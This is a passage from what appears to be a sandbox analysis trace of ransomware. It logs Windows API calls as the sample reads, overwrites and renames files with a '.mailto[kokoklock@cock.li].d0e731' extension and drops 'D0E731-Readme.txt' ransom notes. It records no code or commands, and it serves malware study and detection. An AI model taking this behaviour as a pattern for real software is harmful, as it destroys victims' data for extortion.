Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.546] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341de08) returned 1 [0088.546] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0088.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0088.546] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.546] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0088.547] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0088.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0088.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55db870) returned 1 [0088.547] RtlExitUserThread (Status=0x1) Thread: id = 1388 os_tid = 0x1450 [0088.548] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp")) returned 0x2020 [0088.555] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp", dwFileAttributes=0x20) returned 1 [0088.556] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0088.556] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x3023fe18 | out: lpFileSize=0x3023fe18*=51) returned 1 [0088.556] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.556] ReadFile (in: hFile=0x62c, lpBuffer=0x3023fdec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x3023fdec*, lpNumberOfBytesRead=0x3023fde8*=0x4, lpOverlapped=0x0) returned 1 [0088.557] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc778 [0088.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc840 [0088.557] NtQuerySystemTime (in: CurrentTime=0x3023fdc4 | out: CurrentTime=0x3023fdc4*=132121176464536060) returned 0x0 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x35a8e917 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xb3570fcd [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x88e91b74 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x389ca018 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x6aa11510 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x7fafe6ff [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xf62799de [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xe818950e [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xa4758c21 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xdc2c0bd2 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x62951abb [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x4028732b [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xa4ad8676 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xd5da8fb2 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x10d6016e [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x827667d8 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xf9bfa0a7 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x3bcc1d39 [0088.557] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xc0921880 [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x6458381f [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x61308d85 [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x14f2d5e6 [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x40ca27dd [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x692193c5 [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x64c3e3bb [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x397af4f4 [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xcf72829c [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x303dce2b [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x694dd70c [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xe615caa9 [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0x2b2f171a [0088.558] RtlRandom (in: Seed=0x3023fdd0 | out: Seed=0x3023fdd0) returned 0xe9a24b97 [0088.568] ReadFile (in: hFile=0x62c, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x3023fdc4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x3023fdc4*=0x33, lpOverlapped=0x0) returned 1 [0088.569] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3023fd8c | out: lpNewFilePointer=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x3023fdc0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x3023fdc0*=0x33, lpOverlapped=0x0) returned 1 [0088.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0088.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc6b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3023fdbc, lpOverlapped=0x0 | out: lpBuffer=0x55dc6b0*, lpNumberOfBytesWritten=0x3023fdbc*=0x20, lpOverlapped=0x0) returned 1 [0088.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0088.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9f40) returned 1 [0088.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x3023fde8*=0x8, lpOverlapped=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x3023fe00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x3023fe00*, lpNumberOfBytesWritten=0x3023fde8*=0x4, lpOverlapped=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3023fde8*=0x4, lpOverlapped=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3023fde8*=0x6c, lpOverlapped=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x55dc778*, lpNumberOfBytesWritten=0x3023fde8*=0x20, lpOverlapped=0x0) returned 1 [0088.570] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3023fde8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3023fde8*=0x4, lpOverlapped=0x0) returned 1 [0088.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc778) returned 1 [0088.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc868) returned 1 [0088.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0088.570] CloseHandle (hObject=0x62c) returned 1 [0088.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x34333d8 [0088.570] wcscpy (in: _Dest=0x34333d8, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" [0088.570] wcscat (in: _Dest=0x34333d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" [0088.570] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), lpNewFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0088.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34333d8) returned 1 [0088.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp", dwFileAttributes=0x2020) returned 0 [0088.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e23c0 [0088.571] wcscpy (in: _Dest=0x33e23c0, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" [0088.571] wcscat (in: _Dest=0x33e23c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt" [0088.571] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\d0e731-readme.txt")) returned 0xffffffff [0088.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0088.571] WriteFile (in: hFile=0x62c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x3023fde4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x3023fde4*=0x481, lpOverlapped=0x0) returned 1 [0088.572] CloseHandle (hObject=0x62c) returned 1 [0088.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e23c0) returned 1 [0088.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb6d0) returned 1 [0088.572] RtlExitUserThread (Status=0x1) Thread: id = 1389 os_tid = 0x1454 [0088.574] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\java.exe")) returned 0x2020 [0088.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe", dwFileAttributes=0x20) returned 1 [0088.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0088.574] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x302bfe80 | out: lpFileSize=0x302bfe80*=206912) returned 1 [0088.574] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x3283c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.574] ReadFile (in: hFile=0x62c, lpBuffer=0x302bfe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x302bfe54*, lpNumberOfBytesRead=0x302bfe50*=0x4, lpOverlapped=0x0) returned 1 [0088.576] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc778 [0088.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc868 [0088.576] NtQuerySystemTime (in: CurrentTime=0x302bfe2c | out: CurrentTime=0x302bfe2c*=132121176464692773) returned 0x0 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x560683ed [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x251e3820 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x44c6e950 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xb566f533 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xb9f252f8 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x9d8a5792 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xd43389f [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xf76f6016 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xa907cc23 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x51c56672 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x5ef18639 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x5df5630d [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x681cddb7 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x293e3594 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x979cdcd [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xb64cb4fe [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xadb1ad07 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xac8d54e6 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x46dccd62 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x4d0c4831 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x383c3af3 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xce798a55 [0088.576] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xe29bfda3 [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x77bef9e8 [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xcdec4d25 [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x5a521609 [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x4349b921 [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0xbb849cd3 [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x49cc2b1f [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x800425cf [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x5c9351b [0088.577] RtlRandom (in: Seed=0x302bfe38 | out: Seed=0x302bfe38) returned 0x1ef74b19 [0088.587] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.587] ReadFile (in: hFile=0x62c, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x302bfdec, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x302bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0088.588] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0088.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9f40 [0088.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0088.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0088.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0088.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0088.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9f40) returned 1 [0088.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0088.589] WriteFile (in: hFile=0x62c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x302bfdec, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x302bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0088.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.589] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.589] ReadFile (in: hFile=0x62c, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x302bfdec, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x302bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0088.590] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0088.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9c70 [0088.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0088.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0088.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0088.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0088.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc728 [0088.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc728) returned 1 [0088.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9c70) returned 1 [0088.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0088.591] WriteFile (in: hFile=0x62c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x302bfdec, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x302bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0088.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.591] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x2e7aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.591] ReadFile (in: hFile=0x62c, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x302bfdec, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x302bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0088.591] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x2e7aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0088.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9c70 [0088.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0088.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc728 [0088.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc8b8 [0088.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9c70) returned 1 [0088.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0088.592] WriteFile (in: hFile=0x62c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x302bfdec, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x302bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0088.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.595] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc6b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x302bfe48, lpOverlapped=0x0 | out: lpBuffer=0x55dc6b0*, lpNumberOfBytesWritten=0x302bfe48*=0x20, lpOverlapped=0x0) returned 1 [0088.595] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x302bfe48, lpOverlapped=0x0 | out: lpBuffer=0x55dc700*, lpNumberOfBytesWritten=0x302bfe48*=0x20, lpOverlapped=0x0) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc728*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x302bfe48, lpOverlapped=0x0 | out: lpBuffer=0x55dc728*, lpNumberOfBytesWritten=0x302bfe48*=0x20, lpOverlapped=0x0) returned 1 [0088.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x302bfe50*=0x8, lpOverlapped=0x0) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x302bfe68*, nNumberOfBytesToWrite=0x4, 